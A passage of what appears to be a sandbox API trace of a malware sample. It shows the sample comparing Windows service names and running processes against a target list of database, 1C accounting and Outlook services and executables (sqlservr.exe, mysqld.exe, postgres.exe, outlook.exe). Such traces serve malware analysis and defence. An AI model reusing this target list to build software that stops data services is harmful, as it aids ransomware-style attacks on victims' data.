(lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0204.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0204.323] lstrlenW (lpString="BFE") returned 3 [0204.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0204.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0204.323] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0204.323] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0204.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0204.323] lstrlenW (lpString="CryptSvc") returned 8 [0204.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0204.324] lstrlenW (lpString="CscService") returned 10 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0204.324] lstrlenW (lpString="DcomLaunch") returned 10 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0204.324] lstrlenW (lpString="Dhcp") returned 4 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0204.324] lstrlenW (lpString="Dnscache") returned 8 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0204.324] lstrlenW (lpString="DPS") returned 3 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0204.324] lstrlenW (lpString="eventlog") returned 8 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0204.324] lstrlenW (lpString="EventSystem") returned 11 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0204.324] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0204.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0204.324] lstrlenW (lpString="FontCache") returned 9 [0204.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0204.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0204.324] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0204.325] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0204.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0204.325] lstrlenW (lpString="gpsvc") returned 5 [0204.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0204.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0204.325] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0204.325] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0204.331] lstrlenW (lpString="iphlpsvc") returned 8 [0204.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.331] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0204.331] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0204.331] lstrlenW (lpString="LanmanServer") returned 12 [0204.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0204.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0204.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0204.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0204.331] lstrlenW (lpString="LanmanWorkstation") returned 17 [0204.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0204.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0204.331] lstrlenW (lpString="lmhosts") returned 7 [0204.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0204.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0204.331] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0204.331] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0204.331] lstrlenW (lpString="MMCSS") returned 5 [0204.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0204.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0204.331] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0204.331] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0204.331] lstrlenW (lpString="MpsSvc") returned 6 [0204.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0204.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0204.331] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0204.331] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0204.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0204.332] lstrlenW (lpString="Netman") returned 6 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0204.332] lstrlenW (lpString="netprofm") returned 8 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0204.332] lstrlenW (lpString="NlaSvc") returned 6 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0204.332] lstrlenW (lpString="nsi") returned 3 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0204.332] lstrlenW (lpString="PcaSvc") returned 6 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0204.332] lstrlenW (lpString="PlugPlay") returned 8 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0204.332] lstrlenW (lpString="Power") returned 5 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0204.332] lstrlenW (lpString="ProfSvc") returned 7 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0204.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0204.332] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0204.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0204.332] lstrlenW (lpString="RpcEptMapper") returned 12 [0204.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0204.333] lstrlenW (lpString="RpcSs") returned 5 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0204.333] lstrlenW (lpString="SamSs") returned 5 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0204.333] lstrlenW (lpString="Schedule") returned 8 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0204.333] lstrlenW (lpString="SENS") returned 4 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0204.333] lstrlenW (lpString="ShellHWDetection") returned 16 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0204.333] lstrlenW (lpString="Spooler") returned 7 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0204.333] lstrlenW (lpString="sppsvc") returned 6 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0204.333] lstrlenW (lpString="SysMain") returned 7 [0204.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0204.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0204.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0204.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0204.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0204.334] lstrlenW (lpString="Themes") returned 6 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0204.334] lstrlenW (lpString="TrkWks") returned 6 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0204.334] lstrlenW (lpString="UxSms") returned 5 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0204.334] lstrlenW (lpString="WdiServiceHost") returned 14 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0204.334] lstrlenW (lpString="WdiSystemHost") returned 13 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0204.334] lstrlenW (lpString="WinDefend") returned 9 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0204.334] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0204.334] lstrlenW (lpString="Winmgmt") returned 7 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0204.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0204.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0204.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0204.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0204.334] lstrlenW (lpString="wscsvc") returned 6 [0204.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0204.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0204.335] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0204.335] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0204.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0204.335] lstrlenW (lpString="wuauserv") returned 8 [0204.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0204.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0204.335] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0204.335] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0204.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0204.335] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0204.336] Process32FirstW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.337] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.338] lstrlenW (lpString="System") returned 6 [0204.338] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0204.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0204.338] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0204.338] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0204.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0204.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0204.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0204.338] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.339] lstrlenW (lpString="smss.exe") returned 8 [0204.339] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0204.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0204.339] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0204.339] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0204.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0204.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0204.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0204.339] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.339] lstrlenW (lpString="csrss.exe") returned 9 [0204.339] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.340] lstrlenW (lpString="wininit.exe") returned 11 [0204.340] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.341] lstrlenW (lpString="csrss.exe") returned 9 [0204.341] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.341] lstrlenW (lpString="winlogon.exe") returned 12 [0204.341] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.342] lstrlenW (lpString="services.exe") returned 12 [0204.342] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.342] lstrlenW (lpString="lsass.exe") returned 9 [0204.342] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0204.343] lstrlenW (lpString="lsm.exe") returned 7 [0204.350] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.351] lstrlenW (lpString="svchost.exe") returned 11 [0204.351] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.351] lstrlenW (lpString="svchost.exe") returned 11 [0204.351] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, 